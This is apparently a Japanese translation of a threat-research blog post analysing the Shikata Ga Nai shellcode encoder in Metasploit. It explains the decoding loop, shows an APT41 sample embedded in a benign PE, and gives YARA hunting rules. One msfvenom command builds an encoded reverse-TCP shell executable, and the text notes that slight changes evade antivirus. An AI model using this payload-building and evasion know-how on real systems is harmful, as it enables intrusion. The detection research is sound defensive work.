Shikata Ga Nai Encoder Still Going Strong

世界で最も人気のあるエクスプロイト フレームワークの 1 つは Metasploit です。ポケット エクスプロイトの膨大なライブラリ、プラグイン可能なペイロード環境、および実行のシンプルさにより、事実上のベース プラットフォームとなっています。 Metasploit は、ペンテスター、セキュリティ愛好家、スクリプト キディ、さらには悪意のあるアクターによって使用されます。ブログ投稿で後ほど説明するように、APT 脅威アクターがユーザー ベースに含まれるほど普及しています。

Metasploit は 15 年以上存在していますが、依然として検出されず、悪意のある攻撃者が検出を回避できるコア テクニックが存在します。これらのコア技術の 1 つは、Shikata Ga Nai (SGN) ペイロード エンコーディング スキームです。最新の検出システムは、過去数年間で劇的に改善されており、多くの場合、既知の悪意のある方法のプレーン バニラ バージョンを検出します。ただし、多くの場合、攻撃者は自分が何をしているのかを知っていれば、既存のコードをわずかに変更して検出を回避できます。

SGN がどのように機能するかを説明する前に、SGN に関する背景知識を少し説明します。脅威アクターがシステムへの攻撃を計画する場合、リスクと報酬の評価プロセスを経ます。彼らはステルスと帰属の問題を繰り返します。これらの質問には次のようなものがあります。捕まったらどうなりますか?どのくらいの期間、合理的に検出を回避できますか?私の存在を発見したことは、私に帰することになりますか? APT攻撃者が最初に検出を逃れようとしたそのような方法の1つは、エンコードによるものです。

シェルコードは主に、本来意図されていない方法でプログラムの実行を操作するように設計された一連の命令であることはわかっています。目標は、このシェルコードを脆弱なプロセスに挿入することです。シェルコードを手動で作成するには、オペコードをマシン コードから直接取得するか、MASM (Microsoft Macro Assembler) などのアセンブラー/逆アセンブラー ツールから取得します。生で生成されたオペコードは、そのままでは実行されないことがよくあります。多くの場合、修正が必要であり、実行されるプロセッサと使用されているプログラミング言語との互換性を確保する必要があります。 SGN などのエンコーディング スキームは、これらの非互換性を処理します。また、難読化されていない状態のシェルコードは、静的検出技術によって容易に認識できます。 SGN は難読化を提供し、一見すると、シェルコードの難読化におけるランダム性を提供します。

Metasploit のデフォルト設定では、すべてのペイロードがエンコードされます。 Metasploit にはさまざまなエンコーダーが含まれていますが、最も人気があるのは SGN です。日本語の SGN というフレーズは、「何もできない」という意味です。作成当時、従来のウイルス対策製品では検出が困難だったため、この名前が付けられました。前述のように、一部の AV ベンダーは現在、バニラの実装をキャッチしていますが、わずかに変更されたバリアントを見逃しています。

SGN は、ポリモーフィック XOR 加算フィードバック エンコーダーです。エンコードされたシェルコードの各作成が次の作成とは異なるという点で、ポリモーフィックです。これは、動的命令置換、動的ブロック順序、レジスタのランダム交換、命令順序のランダム化、ジャンク コードの挿入、ランダム キーの使用、他の命令間の命令間隔のランダム化など、さまざまな手法によって実現されます。この場合の XOR 追加フィードバック部分は、アルゴリズムがランダム キーを介して将来の命令を XOR し、その命令をキーに追加して、次の命令をエンコードするために再度使用するという事実を指します。シェルコードのデコードは、手順を逆にたどるプロセスです。

SGN エンコードされたペイロードの作成

次の手順は、Metasploit と選択したデバッグ/逆アセンブリ ツールを使用して再現できます。

  1. 最初にプレーンなバニラ SGN でエンコードされたペイロードを作成します。
    msfvenom -a x86 –platform windows -p windows/shell/reverse_tcp LHOST=192.169.0.36 LPORT=80 -b “x00” -e x86/shikata_ga_nai -f exe -o /root/Desktop/metasploit/IamNotBad.exe
  2. 逆アセンブラでファイルを開きます。逆アセンブラでバイナリを見ると、最初に大量のジャンク命令があることに気付きます (図 1)。また、デフォルトでは、Metasploit はコードのメモリ ロケーション (この場合は .text セクション) を書き込み可能として設定しません。これを設定する必要があります。そうしないと、シェルコードが実行されません。

 

逆アセンブラでバイナリを表示するときのジャンク命令

図 1: 逆アセンブラでバイナリを表示したときのジャンク命令

 

RWX フラグ = E0000020

図 2: RWX フラグ = E0000020

 

ジャンク コードをスキップして、アルゴリズムに直接移動します。これは、ジャンプ命令を挿入することで実行できます。

図 3: ジャンク コードをスキップして、ジャンプ命令を挿入することでアルゴリズムに直接進む

アルゴリズムの内訳

アルゴリズムは次のもので構成されます。

  1. 初期化キーの指定。
  2. EIP に関連する場所を取得します (取得したアドレスに基づいて、今後の指示を変更できるようにするため)
    • Metasploit は一般的に fstenv/fnstenv 命令を使用してスタックに配置し、レジスタにポップして使用できるようにします。必要に応じて、EIP を取得する他の方法があります。
  3. ループを通過して他の命令をデコードします (デフォルトでは、エンコードされた命令はすべて .text セクションに存在します)。
    • Vanilla SGN は、カウンターとして使用されるレジスターをゼロに設定し、カウンター値をレジスターに明示的に移動するため、ループ部分は明らかです。ループ命令はエンコードされているため、デコードが十分に進むまで表示されません。
    • SGN は、より高いメモリ アドレスで命令をデコードします (さらにトリッキーにしたい場合は、より低いアドレスを実行することもできます)。これは、以前に格納されたアドレス (EIP に関連するもの) に値を追加し、キーと XOR することによって行われます。次の例では、命令 XOR [eax+18h], esi t .text:00408B98 が表示されます。
    • その後、以前のアドレス (EIP に関連するアドレス) が変更され、キーも変更される可能性があります [Metasploit は通常、デフォルトで、以前に保存されたアドレス (EIP に関連するアドレス) に関連する命令値を加算または減算します]。
    • ループは、すべての命令がデコードされるまで続き、その後、デコードされたシェルコードに実行を移します。この場合、リバース シェルコードです。
  4. ちなみに、四方がナイでは複数回の繰り返しが可能です。複数の反復が選択された場合、現在の反復の完了後にステップ 1 から 3 が繰り返されます。

前述の各ステップからわかるように、防御側であり、静的検出のみに依存している場合、検出は非常に困難になる可能性があります。このようにエンコードされたものでは、エンコードされた命令を展開せずに特定の悪意のある動作を静的に検出することは困難です。メモリを常にスキャンすることは計算コストが高く、実行可能性が低くなります。これにより、ほとんどの検出プラットフォームは、行動インジケーターまたはサンドボックスを介した検出オプションに依存することになります。

 

デコード前のコード

図 4: デコード前のコード

 

デコード中の命令

図 5: デコード中の命令

しばらくサイバーセキュリティに携わってきた多くの人にとって、これは新しいことではありません。ただし、依然として重要なのは、SGN でエンコードされた多くの悪意のあるペイロードがまだ防御を通過しており、依然として攻撃者によって使用されているという事実です。 SGN でエンコードされたペイロードがまだシステムに侵入していることに気付き、さらに調査することにしました。結果はやりがいがあり驚くべきものであり、「検出」セクションで説明する追加の検出方法につながりました.また、SGN がまだどの程度使用されているかについて、より多くの認識を得ることができました。以下は、APT アクターから回復したペイロードの例です。

ペイロードの埋め込み

この例では、既存の APT41 サンプルを使用し、無害な PE にペイロードを埋め込みました。この APT41 サンプルは、しかたがないエンコードされたシェルコードです。

MD5: def46c736a825c357918473e3c02b3ef

作成した無害な PE (ImNotBad.exe) を使用し、APT41 サンプルを埋め込んで SGN の動作を示します。 NewSec という新しいセクションを作成し、セクションの値を適切に設定します。

 

シェル コードのサイズを計算します。開始アドレス 12000 および終了アドレス 94C10。サイズがそこにあるデータの範囲内であることを確認してください。違いは82c10です。

図 6: シェル コードのサイズを計算します。開始アドレス 12000 および終了アドレス 94C10。サイズがそこにあるデータの範囲内であることを確認してください。違いは82c10です。

 

良性の PE (ImNotBad.exe) にシェル コードを挿入します。

図 7: シェル コードを無害な PE (ImNotBad.exe) に挿入する

 

埋め込まれたシェル コードは、コード内にあります。

図 8: 埋め込まれたシェル コードはコード内にあります

 

コードにパッチを当ててジャンプする

図 9: コードにパッチを適用してジャンプする

 

ここでは、しかたがないアルゴリズム (前述) の 4 つのステップを示します。

図 10: ここでは、四方がナイ アルゴリズム (前述) の 4 つのステップを示します。

図 11 と図 12 では、最初の命令セットがデコードされると、通常の実行を回避しようとしているように見えます。 EA 25 D9 74 24 F4 BB => EA と 25 を挿入してコードをクラッシュさせる方法に注意してください (コード内の興味深い場所にジャンプします)。クラッシュを正しく調査するためのさらなる努力は行われませんでしたが、nops でコードにパッチを適用すると、次のデコード シーケンスが実行されます。

 

一連の命令がデコードされ、通常の実行を回避しようとしているようです

図 11: 一連の命令がデコードされ、通常の実行を回避しようとしているように見える

 

一連の命令がデコードされ、通常の実行を回避しようとしているようです

図 12: 一連の命令がデコードされ、通常の実行を回避しようとしているように見える

検出

SGN でエンコードされたペイロードを検出することは、特に静的な検出に大きく依存している場合、防御側としては困難な場合があります。意図された悪意のある目的を特定するには、エンコードされた命令を解読して解明する必要があります。メモリを常にスキャンすることは計算コストが高く、実行可能性が低くなります。これにより、ほとんどの検出プラットフォームは、行動インジケーターとサンドボックスによる検出に依存することになります。 FireEye アプライアンスには、静的検出コンポーネントと動的検出コンポーネントの両方が含まれています。検出は、FireEye の機械学習エンジンであるMalwareGuardなど、さまざまなエンジンによって行われます。 FireEye アプライアンス内の多数のエンジンは特定の目的に使用され、さまざまな長所と短所があります。これらのさまざまなエンジンを検出することで、FireEye はそれぞれの強みを活用できるようになります。これらのエンジン間のアクティビティを相関させることで、独自の検出機会が可能になります。これにより、検出を単一のエンジンに依存している場合には不可能な本番環境の検出も可能になります。 FireEyeアプライアンスのさまざまなエンジンを関連付けて、SGNでエンコードされたバイナリを高い忠実度で検出する本番検出を作成することができました.現在の本番環境の検出では、FireEye アプライアンス内の静的、動的、および機械学習エンジンを利用しています。

SGN の検出に関連する複雑さの例として、Metasploit の単純な SGN アルゴリズムを少し変更したバージョンでエンコードされたコードを作成します (図 13)。

 

考えられる静電気検出のコード例

図 13: 考えられる静電気検出のコード例

優れた静的検出ルールを作成するための鍵の 1 つは、検出しようとしているものの固有の悪意のある動作を認識することです。次に、誤検知 (FP) を引き起こすことなく、その行動をできるだけ多くキャプチャできるようにすることです。投稿の前半で、SGN アルゴリズムのコア動作をリストしました。説明のために、これらの動作のいくつかを一致させてみましょう。キー、EIP を取得するために使用されるメカニズム、および XOR 加算フィードバック ループで照合を試みます。

図 13 のコードを静的に検出する場合は、オープン ソース ツールの Yara を使用できます。最初のパスとして、次のルールを作成できます (図 14)。

 

図 13 のコードの SGN YARA 静的検出ルールの例

図 14: 図 13 のコードの SGN YARA 静的検出ルールの例

図 14 のルールでは、パディング バイトを追加して、ジャンク命令を挿入する攻撃者を阻止しようとしています。敵対者が私たちが照合しているものに気付いた場合、パディングを超えてジャンク コードを挿入することで簡単に打ち負かすことができます。いたちごっこをして、見たことに基づいてパディングを増やし続けることもできますが、これは良い解決策ではありません。さらに、より多くのバイトを埋め込むと、ルールは FP を起こしやすくなります。ジャンク コードを追加する以外に、攻撃者が使用できる明らかな回避手法には、さまざまなレジスタを使用する、算術演算を実行して値を取得する、命令を並べ替えるなどがあります。 Metasploit は、静的な検出をより困難にするこれらのものでアルゴリズムをランダム化する適切な仕事をします。変更された各バージョンをキャッチしようとすると、終わりがない可能性があります。

静的検出は便利な手法ですが、非常に制限があります。これだけに頼っていると、システムに侵入する悪意のある動作の多くを見逃すことになります。 SGN については、それをさらに調査し、中核となる行動要素を特定しました。私たちは、それがまだ現代のマルウェアによってどのように使用されているかを確認しました.以下は、Metasploit のバニラ x86-SGN によって作成された現在の一般的な順列のいくつかを検出するために使用できるハンティング ルールの例です。必要に応じて、このルールをさらに拡張して追加のロジックを含めることができます。

rule Hunting_Rule_ShikataGaNai
{
メタ:
作者=「スティーブン・ミラー」
文字列:
$varInitializeAndXorCondition1_XorEAX = { B8 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (59 | 5A | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
$varInitializeAndXorCondition1_XorEBP = {BD ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 59 | 5A | 5B | 5C | 5E | 5F) [0-50] 31 (68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
$varInitializeAndXorCondition1_XorEBX = { BB ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 59 | 5A | 5C | 5D | 5E | 5F) [0-50] 31 (58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
$varInitializeAndXorCondition1_XorECX = { B9 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 5A | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
$varInitializeAndXorCondition1_XorEDI = { BF ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 59 | 5A | 5B | 5C | 5D | 5E) [0-50] 31 (78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
$varInitializeAndXorCondition1_XorEDX = { BA ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 59 | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
$varInitializeAndXorCondition2_XorEAX = { D9 74 24 F4 [0-30] B8 ?? ?? ?? ?? [0-10] (59 | 5A | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (40 | 41 | 42 | 43 | 45 | 46 | 47) ?? }
$varInitializeAndXorCondition2_XorEBP = { D9 74 24 F4 [0-30] BD ?? ?? ?? ?? [0-10] (58 | 59 | 5A | 5B | 5C | 5E | 5F) [0-50] 31 (68 | 69 | 6A | 6B | 6D | 6E | 6F) ?? }
$varInitializeAndXorCondition2_XorEBX = { D9 74 24 F4 [0-30] BB ?? ?? ?? ?? [0-10] (58 | 59 | 5A | 5C | 5D | 5E | 5F) [0-50] 31 (58 | 59 | 5A | 5B | 5D | 5E | 5F) ?? }
$varInitializeAndXorCondition2_XorECX = { D9 74 24 F4 [0-30] B9 ?? ?? ?? ?? [0-10] (58 | 5A | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (48 | 49 | 4A | 4B | 4D | 4E | 4F) ?? }
$varInitializeAndXorCondition2_XorEDI = { D9 74 24 F4 [0-30] BF ?? ?? ?? ?? [0-10] (58 | 59 | 5A | 5B | 5C | 5D | 5E) [0-50] 31 (78 | 79 | 7A | 7B | 7D | 7E | 7F) ?? }
$varInitializeAndXorCondition2_XorEDX = { D9 74 24 F4 [0-30] BA ?? ?? ?? ?? [0-10] (58 | 59 | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (50 | 51 | 52 | 53 | 55 | 56 | 57) ?? }
調子:
それらのいずれか
}

考え

Metasploit は、さまざまな理由でさまざまな人々によって使用されています。次のような正当な目的で Metasploit を使用する場合があります。レッドチームの関与、研究または教育タスク、他の人が悪意を持ってフレームワークを使用する可能性があります。後者のカテゴリでは、FireEye は歴史的に、中国の国家が支援する脅威グループと疑われる APT20 が、SGN でエンコードされたペイロードで Metasploit を利用していることを観察してきました。 APT20 は、FireEye が追跡する多くの名前付き脅威グループの 1 つです。このグループは、主にデータ、特に知的財産を盗むことに重点を置いています。他の名前付きグループには、APT41 と FIN6 が含まれます。APT41は、今年初めに FireEye Intelligence によって正式に開示されました。このグループは、カスタム開発されたバックドア内で SGN でエンコードされたペイロードを利用しています。 APT41 は中国のサイバー脅威グループで、サイバー スパイ活動と同時に金銭目的のミッションを実行していることが確認されています。金融脅威グループFIN6また、SGN でエンコードされたペイロードを使用してミッションを実行しており、歴史的に公開されているさまざまなツールに依存してきました。これらのミッションには主に、POS システムからの支払いカード データの盗難が含まれます。 FireEye は、SGN でエンコードされたペイロードを利用する未分類の脅威グループも数多く観察しています。これらは FireEye が内部的に追跡しているグループですが、正式には発表されていません。特にこれらのグループの 1 つが UNC902 です。これは、公的な脅威レポートで金銭目的のグループ TA505 として広く知られています。 FireEye は、UNC902 がペイロード内で SGN エンコーディングを広範囲に使用していることを確認しており、最近では 2019 年 10 月になっても、このグループに関連するアクティビティを引き続き確認しています。これらのグループ以外では、悪意のあるサンプル内での SGN エンコーディングの使用を引き続き観察しています。 FireEye は現在、毎月数百の SGN エンコード ペイロードを識別しています。 SGN でエンコードされたペイロードは、常に同じ意図で使用されるわけではありませんが、これは、このような人気があり、自由に利用できるフレームワークに組み込まれていることの副作用の 1 つです。今後、SGN でエンコードされたペイロードが引き続き使用されることが予想されます。

参考: https ://www.mandiant.com/resources/blog/shikata-ga-nai-encoder-still-going-strong

Comments

Copied title and URL